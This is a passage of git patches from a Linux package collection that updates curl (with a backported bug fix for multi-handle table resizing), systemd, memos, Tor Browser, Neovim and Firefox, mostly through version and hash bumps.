-+Set to a positive 32-bit number to override the HTTP/2 stream window's
-+default of 10MB. Used in testing to verify correct window update handling.
-diff --git a/lib/http2.c b/lib/http2.c
-index 88fbcceb7135..a1221dcc51de 100644
---- a/lib/http2.c
-+++ b/lib/http2.c
-@@ -44,6 +44,7 @@
- #include "connect.h"
- #include "rand.h"
- #include "strdup.h"
-+#include "strparse.h"
- #include "transfer.h"
- #include "dynbuf.h"
- #include "headers.h"
-@@ -141,6 +142,9 @@ struct cf_h2_ctx {
-   uint32_t goaway_error;        /* goaway error code from server */
-   int32_t remote_max_sid;       /* max id processed by server */
-   int32_t local_max_sid;        /* max id processed by us */
-+#ifdef DEBUGBUILD
-+  int32_t stream_win_max;       /* max h2 stream window size */
-+#endif
-   BIT(initialized);
-   BIT(via_h1_upgrade);
-   BIT(conn_closed);
-@@ -166,6 +170,18 @@ static void cf_h2_ctx_init(struct cf_h2_ctx *ctx, bool via_h1_upgrade)
-   Curl_hash_offt_init(&ctx->streams, 63, h2_stream_hash_free);
-   ctx->remote_max_sid = 2147483647;
-   ctx->via_h1_upgrade = via_h1_upgrade;
-+#ifdef DEBUGBUILD
-+  {
-+    const char *p = getenv("CURL_H2_STREAM_WIN_MAX");
-+
-+    ctx->stream_win_max = H2_STREAM_WINDOW_SIZE_MAX;
-+    if(p) {
-+      curl_off_t l;
-+      if(!Curl_str_number(&p, &l, INT_MAX))
-+        ctx->stream_win_max = (int32_t)l;
-+    }
-+  }
-+#endif
-   ctx->initialized = TRUE;
- }
- 
-@@ -285,7 +301,15 @@ static int32_t cf_h2_get_desired_local_win(struct Curl_cfilter *cf,
-      * This gets less precise the higher the latency. */
-     return (int32_t)data->set.max_recv_speed;
-   }
-+#ifdef DEBUGBUILD
-+  else {
-+    struct cf_h2_ctx *ctx = cf->ctx;
-+    CURL_TRC_CF(data, cf, "stream_win_max=%d", ctx->stream_win_max);
-+    return ctx->stream_win_max;
-+  }
-+#else
-   return H2_STREAM_WINDOW_SIZE_MAX;
-+#endif
- }
- 
- static CURLcode cf_h2_update_local_win(struct Curl_cfilter *cf,
-@@ -302,6 +326,13 @@ static CURLcode cf_h2_update_local_win(struct Curl_cfilter *cf,
-     int32_t wsize = nghttp2_session_get_stream_effective_local_window_size(
-                       ctx->h2, stream->id);
-     if(dwsize > wsize) {
-+      rv = nghttp2_session_set_local_window_size(ctx->h2, NGHTTP2_FLAG_NONE,
-+                                                 stream->id, dwsize);
-+      if(rv) {
-+        failf(data, "[%d] nghttp2 set_local_window_size(%d) failed: "
-+              "%s(%d)", stream->id, dwsize, nghttp2_strerror(rv), rv);
-+        return CURLE_HTTP2;
-+      }
-       rv = nghttp2_submit_window_update(ctx->h2, NGHTTP2_FLAG_NONE,
-                                         stream->id, dwsize - wsize);
-       if(rv) {
-diff --git a/tests/http/test_02_download.py b/tests/http/test_02_download.py
-index 4b9ae3caefab..b55f022338ad 100644
---- a/tests/http/test_02_download.py
-+++ b/tests/http/test_02_download.py
-@@ -313,9 +313,9 @@ def test_02_20_h2_small_frames(self, env: Env, httpd):
-         assert httpd.stop()
-         assert httpd.start()
- 
--    # download via lib client, 1 at a time, pause/resume at different offsets
-+    # download serial via lib client, pause/resume at different offsets
-     @pytest.mark.parametrize("pause_offset", [0, 10*1024, 100*1023, 640000])
--    @pytest.mark.parametrize("proto", ['http/1.1', 'h2', 'h3'])
-+    @pytest.mark.parametrize("proto", ['http/1.1', 'h3'])
-     def test_02_21_lib_serial(self, env: Env, httpd, nghttpx, proto, pause_offset):
-         if proto == 'h3' and not env.have_h3():
-             pytest.skip("h3 not supported")
-@@ -332,6 +332,29 @@ def test_02_21_lib_serial(self, env: Env, httpd, nghttpx, proto, pause_offset):
-         srcfile = os.path.join(httpd.docs_dir, docname)
-         self.check_downloads(client, srcfile, count)
- 
-+    # h2 download parallel via lib client, pause/resume at different offsets
-+    # debug-override stream window size to reproduce #16955
-+    @pytest.mark.parametrize("pause_offset", [0, 10*1024, 100*1023, 640000])
-+    @pytest.mark.parametrize("swin_max", [0, 10*1024])
-+    def test_02_21_h2_lib_serial(self, env: Env, httpd, pause_offset, swin_max):
-+        proto = 'h2'
-+        count = 2
-+        docname = 'data-10m'
-+        url = f'https://localhost:{env.https_port}/{docname}'
-+        run_env = os.environ.copy()
-+        run_env['CURL_DEBUG'] = 'multi,http/2'
-+        if swin_max > 0:
-+            run_env['CURL_H2_STREAM_WIN_MAX'] = f'{swin_max}'
-+        client = LocalClient(name='hx-download', env=env, run_env=run_env)
-+        if not client.exists():
-+            pytest.skip(f'example client not built: {client.name}')
-+        r = client.run(args=[
-+             '-n', f'{count}', '-P', f'{pause_offset}', '-V', proto, url
-+        ])
-+        r.check_exit_code(0)
-+        srcfile = os.path.join(httpd.docs_dir, docname)
-+        self.check_downloads(client, srcfile, count)
-+
-     # download via lib client, several at a time, pause/resume
-     @pytest.mark.parametrize("pause_offset", [100*1023])
-     @pytest.mark.parametrize("proto", ['http/1.1', 'h2', 'h3'])
diff --git a/pkgs/by-name/cu/curlMinimal/fix-add_handle-resizing.patch b/pkgs/by-name/cu/curlMinimal/fix-add_handle-resizing.patch
new file mode 100644
index 000000000000..4b7e58a8eab3
--- /dev/null
+++ b/pkgs/by-name/cu/curlMinimal/fix-add_handle-resizing.patch
@@ -0,0 +1,209 @@
+From d16ccbd55de80c271fe822f4ba8b6271fd9166ff Mon Sep 17 00:00:00 2001
+From: Stefan Eissing <stefan@eissing.org>
+Date: Wed, 28 May 2025 14:04:31 +0200
+Subject: [PATCH] multi: fix add_handle resizing
+
+Due to someone being stupid, the resizing of the multi's transfer
+table was actually shrinking it. Oh my.
+
+Add test751 to reproduce, add code assertion.
+
+Fixes #17473
+Reported-by: Jeroen Ooms
+Closes #17475
+---
+ lib/multi.c                |  3 +-
+ tests/data/Makefile.am     |  2 +-
+ tests/data/test751         | 33 ++++++++++++++
+ tests/libtest/Makefile.inc |  4 ++
+ tests/libtest/lib751.c     | 92 ++++++++++++++++++++++++++++++++++++++
+ 5 files changed, 132 insertions(+), 2 deletions(-)
+ create mode 100644 tests/data/test751
+ create mode 100644 tests/libtest/lib751.c
+
+diff --git a/lib/multi.c b/lib/multi.c
+index 792b30515d8b..b744e03ae52f 100644
+--- a/lib/multi.c
++++ b/lib/multi.c
+@@ -347,7 +347,8 @@ static CURLMcode multi_xfers_add(struct Curl_multi *multi,
+   if(unused <= min_unused) {
+      /* make it a 64 multiple, since our bitsets frow by that and
+       * small (easy_multi) grows to at least 64 on first resize. */
+-    unsigned int newsize = ((capacity + min_unused) + 63) / 64;
++    unsigned int newsize = (((capacity + min_unused) + 63) / 64) * 64;
++    DEBUGASSERT(newsize > capacity);
+     /* Grow the bitsets first. Should one fail, we do not need
+      * to downsize the already resized ones. The sets continue
+      * to work properly when larger than the table, but not
+diff --git a/tests/data/Makefile.am b/tests/data/Makefile.am
+index e8f9e12be71e..16bb57db8e69 100644
+--- a/tests/data/Makefile.am
++++ b/tests/data/Makefile.am
+@@ -107,7 +107,7 @@ test709 test710 test711 test712 test713 test714 test715 test716 test717 \
+ test718 test719 test720 test721 test722 test723 test724 test725 test726 \
+ test727 test728 test729 test730 test731 test732 test733 test734 test735 \
+ test736 test737 test738 test739 test740 test741 test742 test743 test744 \
+-test745 test746 test747 test748 test749 test750 \
++test745 test746 test747 test748 test749 test750 test751 \
+ \
+ test780 test781 test782 test783 test784 test785 test786 test787 test788 \
+ test789 test790 test791 \
+diff --git a/tests/data/test751 b/tests/data/test751
+new file mode 100644
+index 000000000000..ffc6df512f83
+--- /dev/null
++++ b/tests/data/test751
+@@ -0,0 +1,33 @@
++<testcase>
++<info>
++<keywords>
++MULTI
++</keywords>
++</info>
++<reply>
++<data>
++</data>
++</reply>
++
++# Client-side
++<client>
++<server>
++none
++</server>
++# tool is what to use instead of 'curl'
++<tool>
++lib%TESTNUMBER
++</tool>
++
++<name>
++multi - add many easy handles
++</name>
++<command>
++</command>
++</file>
++</client>
++
++# Verify data after the test has been "shot"
++<verify>
++</verify>
++</testcase>
+diff --git a/tests/libtest/Makefile.inc b/tests/libtest/Makefile.inc
+index faf7eacdf6af..002e7ab5470d 100644
+--- a/tests/libtest/Makefile.inc
++++ b/tests/libtest/Makefile.inc
+@@ -50,6 +50,7 @@ LIBTESTPROGS = libauthretry libntlmconnect libprereq                     \
+  lib659 lib661 lib666 lib667 lib668 \
+  lib670 lib671 lib672 lib673 lib674 lib676 lib677 lib678 lib694 lib695   \
+  lib696 \
++ lib751 \
+  lib1156 \
+  lib1301 \
+  lib1308 \
+@@ -349,6 +350,9 @@ lib695_SOURCES = lib695.c $(SUPPORTFILES)
+ lib696_SOURCES = lib556.c $(SUPPORTFILES) $(WARNLESS)
+ lib696_CPPFLAGS = $(AM_CPPFLAGS) -DLIB696
+ 
++lib751_SOURCES = lib751.c $(SUPPORTFILES) $(TESTUTIL) $(WARNLESS)
++lib751_LDADD = $(TESTUTIL_LIBS)
++
+ lib1301_SOURCES = lib1301.c $(SUPPORTFILES) $(TESTUTIL)
+ lib1301_LDADD = $(TESTUTIL_LIBS)
+ 
+diff --git a/tests/libtest/lib751.c b/tests/libtest/lib751.c
+new file mode 100644
+index 000000000000..ab2f923b959d
+--- /dev/null
++++ b/tests/libtest/lib751.c
+@@ -0,0 +1,92 @@
++/***************************************************************************
++ *                                  _   _ ____  _
++ *  Project                     ___| | | |  _ \| |
++ *                             / __| | | | |_) | |
++ *                            | (__| |_| |  _ <| |___
++ *                             \___|\___/|_| \_\_____|
++ *
++ * Copyright (C) Daniel Stenberg, <daniel@haxx.se>, et al.
++ *
++ * This software is licensed as described in the file COPYING, which
++ * you should have received as part of this distribution. The terms
++ * are also available at https://curl.se/docs/copyright.html.
++ *
++ * You may opt to use, copy, modify, merge, publish, distribute and/or sell
++ * copies of the Software, and permit persons to whom the Software is
++ * furnished to do so, under the terms of the COPYING file.
++ *
++ * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
++ * KIND, either express or implied.
++ *
++ * SPDX-License-Identifier: curl
++ *
++ ***************************************************************************/
++#include "test.h"
++
++#include "testutil.h"
++#include "warnless.h"
++#include "memdebug.h"
++
++#define TEST_HANG_TIMEOUT 60 * 1000
++
++/*
++ * Get a single URL without select().
++ */
++
++CURLcode test(char *URL)
++{
++  CURL *easies[1000];
++  CURLM *m;
++  CURLcode res = CURLE_FAILED_INIT;
++  CURLMcode mres;
++  int i;
++
++  (void)URL;
++  memset(easies, 0, sizeof(easies));
++
++  curl_global_init(CURL_GLOBAL_DEFAULT);
++  m = curl_multi_init();
++  if(!m) {
++    res = CURLE_OUT_OF_MEMORY;
++    goto test_cleanup;
++  }
++
++  for(i = 0; i < 1000; i++) {
++    CURL *e = curl_easy_init();
++    if(!e) {
++      res = CURLE_OUT_OF_MEMORY;
++      goto test_cleanup;
++    }
++    easies[i] = e;
++
++    res = curl_easy_setopt(e, CURLOPT_URL, "https://www.example.com/");
++    if(!res)
++      res = curl_easy_setopt(e, CURLOPT_VERBOSE, 1L);
++    if(res)
++      goto test_cleanup;
++
++    mres = curl_multi_add_handle(m, e);
++    if(mres != CURLM_OK) {
++      printf("MULTI ERROR: %s\n", curl_multi_strerror(mres));
++      res = CURLE_FAILED_INIT;
++      goto test_cleanup;
++    }
++  }
++
++test_cleanup:
++
++  if(res)
++    printf("ERROR: %s\n", curl_easy_strerror(res));
++
++  for(i = 0; i < 1000; i++) {
++    if(easies[i]) {
++      curl_multi_add_handle(m, easies[i]);
++      curl_easy_cleanup(easies[i]);
++      easies[i] = NULL;
++    }
++  }
++  curl_multi_cleanup(m);
++  curl_global_cleanup();
++
++  return res;
++}
diff --git a/pkgs/by-name/cu/curlMinimal/package.nix b/pkgs/by-name/cu/curlMinimal/package.nix
index ec012ab2bb37..f4393335b738 100644
--- a/pkgs/by-name/cu/curlMinimal/package.nix
+++ b/pkgs/by-name/cu/curlMinimal/package.nix
@@ -91,7 +91,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "curl";
-  version = "8.13.0";
+  version = "8.14.0";
 
   src = fetchurl {
     urls = [
@@ -100,33 +100,15 @@ stdenv.mkDerivation (finalAttrs: {
         builtins.replaceStrings [ "." ] [ "_" ] finalAttrs.version
       }/curl-${finalAttrs.version}.tar.xz"
     ];
-    hash = "sha256-Sgk5eaPC0C3i+8AFSaMncQB/LngDLG+qXs0vep4VICU=";
+    hash = "sha256-s2NM/FOMcsnGynlO9Mc9f9vRceje4tuDfYOl5FIxACo=";
   };
 
-  patches =
-    [
-      # Backport of https://github.com/curl/curl/commit/5fbd78eb2dc4afbd8884e8eed27147fc3d4318f6
-      ./0001-http2-fix-stream-window-size-after-unpausing.patch
-    ]
-    ++ lib.optionals wolfsslSupport [
-      (fetchpatch {
-        # https://curl.se/docs/CVE-2025-4947.html backported to 8.13. Remove when version is bumped to 8.14.
-        # Note that this works since fetchpatch uses curl, but does not use WolfSSL.
-        name = "curl-CVE-2025-4947.patch";
-        url = "https://github.com/curl/curl/commit/a85f1df4803bbd272905c9e7125.diff";
-        hash = "sha256-z4IYAkg/RylTs1m8tbwI2tVqTCHkIpmkzdFBcRBJmH4=";
-
-        # All the test patches fail to apply (seemingly, they were added for 8.14)
-        includes = [ "lib/vquic/vquic-tls.c" ];
-      })
-      (fetchpatch {
-        # https://curl.se/docs/CVE-2025-5025.html backported to 8.13. Remove when version is bumped to 8.14.
-        # Note that this works since fetchpatch uses curl, but does not use WolfSSL.
-        name = "curl-CVE-2025-5025.patch";
-        url = "https://github.com/curl/curl/commit/e1f65937a96a451292e92313396.diff";
-        hash = "sha256-9k05eDGUA7XT+H4p8H8v0lYXC4cW7W2uvO+z4gLapX4=";
-      })
-    ];
+  patches = [
+    # Backport of https://github.com/curl/curl/commit/d16ccbd55de80c271fe822f4ba8b6271fd9166ff
+    # Fixes a regression introduced in 8.14.0
+    # Remove with 8.14.1
+    ./fix-add_handle-resizing.patch
+  ];
 
   # this could be accomplished by updateAutotoolsGnuConfigScriptsHook, but that causes infinite recursion
   # necessary for FreeBSD code path in configure
@@ -159,6 +141,11 @@ stdenv.mkDerivation (finalAttrs: {
     perl
   ] ++ lib.optionals stdenv.hostPlatform.isOpenBSD [ autoreconfHook ];
 
+  nativeCheckInputs = [
+    # See https://github.com/curl/curl/pull/16928
+    openssl'
+  ];
+
   # Zlib and OpenSSL must be propagated because `libcurl.la' contains
   # "-lz -lssl", which aren't necessary direct build inputs of
   # applications that use Curl.

From 7379d83cd2be95f3612c8615aff31b5a445d9050 Mon Sep 17 00:00:00 2001
From: Grimmauld <Grimmauld@grimmauld.de>
Date: Thu, 29 May 2025 19:31:38 +0200
Subject: [PATCH 0296/4511] systemd: 257.5 -> 257.6

Diff: https://github.com/systemd/systemd/compare/v257.5...v257.6

Contains fixes for CVE-2025-4598 [1]:
https://github.com/systemd/systemd/commit/aea6a631bca93e8b04a11aaced694f25f4da155e
https://github.com/systemd/systemd/commit/c58a8a6ec9817275bb4babaa2c08e0e35090d4e3
https://github.com/systemd/systemd/commit/101058955eb41023e0dba5766f6bfb190ebbb4f6
https://github.com/systemd/systemd/commit/4c424072b3cc6a68265345cef2d29a6903081dcf
https://github.com/systemd/systemd/commit/61556694affa290c0a16d48717b3892b85622d96
https://github.com/systemd/systemd/commit/0023dba63ed5097021cda6acb97087b687220867
https://github.com/systemd/systemd/commit/ca4736ca8d778582b0025f556a9b2078a2c0aba3
https://github.com/systemd/systemd/commit/45ca3f2d7c3b0cb248fbba3d4e4cdfac6fe4407e

[1] not officially published yet. Article on https://blog.qualys.com/vulnerabilities-threat-research/2025/05/29/qualys-tru-discovers-two-local-information-disclosure-vulnerabilities-in-apport-and-systemd-coredump-cve-2025-5054-and-cve-2025-4598

(cherry picked from commit a68c049d03b830083fba28feac95d02c1e139f47)
---
 pkgs/os-specific/linux/systemd/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/systemd/default.nix b/pkgs/os-specific/linux/systemd/default.nix
index 825ffa4523a9..4a8a6610fe9f 100644
--- a/pkgs/os-specific/linux/systemd/default.nix
+++ b/pkgs/os-specific/linux/systemd/default.nix
@@ -197,7 +197,7 @@ assert withBootloader -> withEfi;
 let
   wantCurl = withRemote || withImportd;
 
-  version = "257.5";
+  version = "257.6";
 
   # Use the command below to update `releaseTimestamp` on every (major) version
   # change. More details in the commentary at mesonFlags.
@@ -215,7 +215,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "systemd";
     repo = "systemd";
     rev = "v${version}";
-    hash = "sha256-mn/JB/nrOz2TOobu2d+XBH2dVH3vn/HPvWN4Zz6s+SM=";
+    hash = "sha256-Myb/ra7NQTDzN7B9jn8svbhTrLSfiqWaSxREe/nDyYo=";
   };
 
   # On major changes, or when otherwise required, you *must* :

From 9fc04b997f18c04f9a97890e8e298001fd068c80 Mon Sep 17 00:00:00 2001
From: kuflierl <41301536+kuflierl@users.noreply.github.com>
Date: Thu, 22 May 2025 02:50:37 +0200
Subject: [PATCH 0297/4511] memos: 0.24.2 -> 0.24.3, fix update script

(cherry picked from commit e811962dfbd8fbda720c471878147740bacb5bd0)
---
 pkgs/by-name/me/memos/nixbuild-check.patch | 23 ----------------
 pkgs/by-name/me/memos/package.nix          | 32 +++++++++++-----------
 2 files changed, 16 insertions(+), 39 deletions(-)
 delete mode 100644 pkgs/by-name/me/memos/nixbuild-check.patch

diff --git a/pkgs/by-name/me/memos/nixbuild-check.patch b/pkgs/by-name/me/memos/nixbuild-check.patch
deleted file mode 100644
index 9a19c116c97f..000000000000
--- a/pkgs/by-name/me/memos/nixbuild-check.patch
+++ /dev/null
@@ -1,23 +0,0 @@
-diff --git a/plugin/httpgetter/html_meta_test.go b/plugin/httpgetter/html_meta_test.go
-index d0b0d903..d1668db1 100644
---- a/plugin/httpgetter/html_meta_test.go
-+++ b/plugin/httpgetter/html_meta_test.go
-@@ -2,7 +2,6 @@ package httpgetter
- 
- import (
- 	"errors"
--	"strings"
- 	"testing"
- 
- 	"github.com/stretchr/testify/require"
-@@ -30,10 +29,4 @@ func TestGetHTMLMetaForInternal(t *testing.T) {
- 	if _, err := GetHTMLMeta("http://localhost"); !errors.Is(err, ErrInternalIP) {
- 		t.Errorf("Expected error for resolved internal IP, got %v", err)
- 	}
--
--	// test for redirected internal IP
--	// 49.232.126.226:1110 will redirects to 127.0.0.1
--	if _, err := GetHTMLMeta("http://49.232.126.226:1110"); !(errors.Is(err, ErrInternalIP) && strings.Contains(err.Error(), "redirect")) {
--		t.Errorf("Expected error for redirected internal IP, got %v", err)
--	}
- }
diff --git a/pkgs/by-name/me/memos/package.nix b/pkgs/by-name/me/memos/package.nix
index bdeffac3f194..7a0ca3298dc1 100644
--- a/pkgs/by-name/me/memos/package.nix
+++ b/pkgs/by-name/me/memos/package.nix
@@ -14,15 +14,15 @@
   protoc-gen-validate,
 }:
 let
-  version = "0.24.2";
+  version = "0.24.3";
   src = fetchFromGitHub {
     owner = "usememos";
     repo = "memos";
     rev = "v${version}";
-    hash = "sha256-DWOJ6+lUTbOzMLsfTDNZfhgNomajNCnNi7U1A+tqXm4=";
+    hash = "sha256-lTMHUVrg3JzTneBh874tr0mbQPp7X3rMKrkOe+wcOL4=";
   };
 
-  protobufsGenerated = stdenvNoCC.mkDerivation {
+  memos-protobuf-gen = stdenvNoCC.mkDerivation {
     name = "memos-protobuf-gen";
     inherit src;
 
@@ -52,16 +52,16 @@ let
 
     outputHashMode = "recursive";
     outputHashAlgo = "sha256";
-    outputHash = "sha256-u+Wq/fXvWTjXdhC2h6RCsn7pjdFJ+gUdTPRvrn9cZ+k=";
+    outputHash = "sha256-cJK9wT5uj1MYjYZkzgMSL9nShCO2xPJOYZT+ebndwlY=";
   };
 
-  frontend = stdenvNoCC.mkDerivation (finalAttrs: {
+  memos-web = stdenvNoCC.mkDerivation (finalAttrs: {
     pname = "memos-web";
     inherit version src;
     pnpmDeps = pnpm.fetchDeps {
       inherit (finalAttrs) pname version src;
       sourceRoot = "${finalAttrs.src.name}/web";
-      hash = "sha256-lopCa7F/foZ42cAwCxE+TWAnglTZg8jY8eRWmeck/W8=";
+      hash = "sha256-ooiH13yzMTCSqzmZVvVy2jWoIfJecMlE6JkwcG5EV5k=";
     };
     pnpmRoot = "web";
     nativeBuildInputs = [
@@ -69,7 +69,7 @@ let
       pnpm.configHook
     ];
     preBuild = ''
-      cp -r {${protobufsGenerated},.}/web/src/types/proto
+      cp -r {${memos-protobuf-gen},.}/web/src/types/proto
     '';
     buildPhase = ''
       runHook preBuild
@@ -85,21 +85,21 @@ let
 in
 buildGoModule {
   pname = "memos";
-  inherit version src;
+  inherit
+    version
+    src
+    memos-web
+    memos-protobuf-gen
+    ;
 
-  vendorHash = "sha256-hdL4N0tg/lYGTeiKl9P2QsV8HTxlvHfsSqsqq/C0cg8=";
+  vendorHash = "sha256-SWpnsTdti3hD1alvItpXllTJHGxeKP8q7WD2nBzFG7o=";
 
   preBuild = ''
     rm -rf server/router/frontend/dist
-    cp -r ${frontend} server/router/frontend/dist
-    cp -r {${protobufsGenerated},.}/proto/gen
+    cp -r ${memos-web} server/router/frontend/dist
+    cp -r {${memos-protobuf-gen},.}/proto/gen
   '';
 
-  patches = [
-    # to be removed in next release (test was removed upstream as part of a bigger commit)
-    ./nixbuild-check.patch
-  ];
-
   passthru.updateScript = nix-update-script {
     extraArgs = [
       "--subpackage"

From c4967b315369160114a9339f2afc0459f652008f Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Thu, 29 May 2025 21:01:39 +0200
Subject: [PATCH 0298/4511] tor-browser: 14.5.2 -> 14.5.3
 https://blog.torproject.org/new-release-tor-browser-1453/

(cherry picked from commit db508123209a49ad6311524c1d6c0e56b41866ae)
---
 pkgs/by-name/to/tor-browser/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/to/tor-browser/package.nix b/pkgs/by-name/to/tor-browser/package.nix
index 90ae73bf531e..2afc14771898 100644
--- a/pkgs/by-name/to/tor-browser/package.nix
+++ b/pkgs/by-name/to/tor-browser/package.nix
@@ -109,7 +109,7 @@ lib.warnIf (useHardenedMalloc != null)
         ++ lib.optionals mediaSupport [ ffmpeg ]
       );
 
-      version = "14.5.2";
+      version = "14.5.3";
 
       sources = {
         x86_64-linux = fetchurl {
@@ -119,7 +119,7 @@ lib.warnIf (useHardenedMalloc != null)
             "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz"
             "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-x86_64-${version}.tar.xz"
           ];
-          hash = "sha256-ZvNje6LtrjS8gURyp38eLzPD7ji2DlOkkphW4KBmus0=";
+          hash = "sha256-1MgXLdoRrmwFAG2JtkCUa2NQ/H3Xxd9+2jbV+fRRVXA=";
         };
 
         i686-linux = fetchurl {
@@ -129,7 +129,7 @@ lib.warnIf (useHardenedMalloc != null)
             "https://tor.eff.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz"
             "https://tor.calyxinstitute.org/dist/torbrowser/${version}/tor-browser-linux-i686-${version}.tar.xz"
           ];
-          hash = "sha256-+Dt1uDZeUV65jbJ5pYv8v/P8UxTy37cHjIqmPd8SuGg=";
+          hash = "sha256-T6BdLhEXYzo3zIJZ2aREjAWmIRDV/xtVhVvkDUozoo4=";
         };
       };
 

From 3ca91fa8924cf6c7f8ac82861d76b8ea74504d0e Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 30 May 2025 13:03:06 +0000
Subject: [PATCH 0299/4511] neovim-unwrapped: 0.11.1 -> 0.11.2

https://github.com/neovim/neovim/releases/tag/v0.11.2
(cherry picked from commit 6521a81b43e555d770c759bea944029fc8bf4012)
---
 pkgs/by-name/ne/neovim-unwrapped/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ne/neovim-unwrapped/package.nix b/pkgs/by-name/ne/neovim-unwrapped/package.nix
index 520233ca23e9..2c22d7a2a4de 100644
--- a/pkgs/by-name/ne/neovim-unwrapped/package.nix
+++ b/pkgs/by-name/ne/neovim-unwrapped/package.nix
@@ -95,7 +95,7 @@ stdenv.mkDerivation (
   in
   {
     pname = "neovim-unwrapped";
-    version = "0.11.1";
+    version = "0.11.2";
 
     __structuredAttrs = true;
 
@@ -103,7 +103,7 @@ stdenv.mkDerivation (
       owner = "neovim";
       repo = "neovim";
       tag = "v${finalAttrs.version}";
-      hash = "sha256-kJvKyNjpqIKa5aBi62jHTCb1KxQ4YgYtBh/aNYZSeO8=";
+      hash = "sha256-sNunEdIFrSMqYaNg0hbrSXALRQXxFkdDOl/hhX1L1WA=";
     };
 
     patches = [

From 189d2e0bd81384a88184e87ad4883bfd8b2e1723 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 30 May 2025 17:44:05 +0200
Subject: [PATCH 0300/4511] firefox-unwrapped: 139.0 -> 139.0.1

https://www.mozilla.org/en-US/firefox/139.0.1/releasenotes/
(cherry picked from commit e30c4dc1c9b45ee9cd7a0de583fb8eb39963bf40)
---
 .../networking/browsers/firefox/packages/firefox.nix          | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
index df69a59f6c39..a40e941fa9b2 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox.nix
@@ -9,10 +9,10 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "139.0";
+  version = "139.0.1";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "84a2b47f2ff71aac226a774ab0ac9ab8d9a16f5620a06f7abb6648732209d022aef35a9d4873e91ebd67a4fc494fc238524e25c38fad8046db26afda06e6f970";
+    sha512 = "78ae10fc14900eb1273b7ff798a159504f68166c39b1f12ef9ea04243debc78472c24499da01641590feb5d2b28475131d2ec94d6f28fd4f2f644a721f7f40ba";
   };
 
   meta = {

From 047a3864a64cf4db10e3c73a75f783f64342568f Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Fri, 30 May 2025 17:45:31 +0200
Subject: [PATCH 0301/4511] firefox-bin-unwrapped: 139.0 -> 139.0.1

https://www.mozilla.org/en-US/firefox/139.0.1/releasenotes/
(cherry picked from commit 914373d3129f8ff605f297576bebef37bd7c43e1)
---
 .../browsers/firefox-bin/release_sources.nix  | 1650 ++++++++---------
 1 file changed, 825 insertions(+), 825 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
index 55ddf57c0862..445154e47b18 100644
--- a/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
+++ b/pkgs/applications/networking/browsers/firefox-bin/release_sources.nix
@@ -1,2477 +1,2477 @@
 {
-  version = "139.0";
+  version = "139.0.1";
   sources = [
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ach/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ach/firefox-139.0.1.tar.xz";
       locale = "ach";
       arch = "linux-x86_64";
-      sha256 = "23cd09ec62b0264cbc95484d168f1863e25b61e56628747e6e2c33bbbbc32917";
+      sha256 = "531bace0287edd3126a7de1a4950edb3886219284f5cfb698f54bd93f7d89957";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/af/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/af/firefox-139.0.1.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "75c036fd772860241d895e35d9b30dda925a1fbfdf333ee68e895a09089c1de5";
+      sha256 = "cb6fe313b9cca7d7f0884b3b63316cd4ac0f021dab718c0c6346c8107054ef47";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/an/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/an/firefox-139.0.1.tar.xz";
       locale = "an";
       arch = "linux-x86_64";
-      sha256 = "36a8830ee1eb8c1c0226a7e3960d3109d1e95398e2e48ad90c0c9179ffe48c45";
+      sha256 = "21b18ae991160f15608e5aae118d9f872f03f7e4c20b708be6e1ab6c58d4675b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ar/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ar/firefox-139.0.1.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "64535a16a72ba7ad18c0d69e52d8349eeff729e4337948a290e8fa80f512081c";
+      sha256 = "a9fd657366881ccab8ffe614d4afe7b87bbe2c631e690886950a2a98a4ced119";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/139.0/linux-x86_64/ast/firefox-139.0.tar.xz";
+      url = "https://archive.mozilla.org/pub/firefox/releases/139.0.1/linux-x86_64/ast/firefox-139.0.1.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "ea6ef3a07581ab0c3af52231c772c77911f5d02b6cc5d8f017e40ff9df00258a";
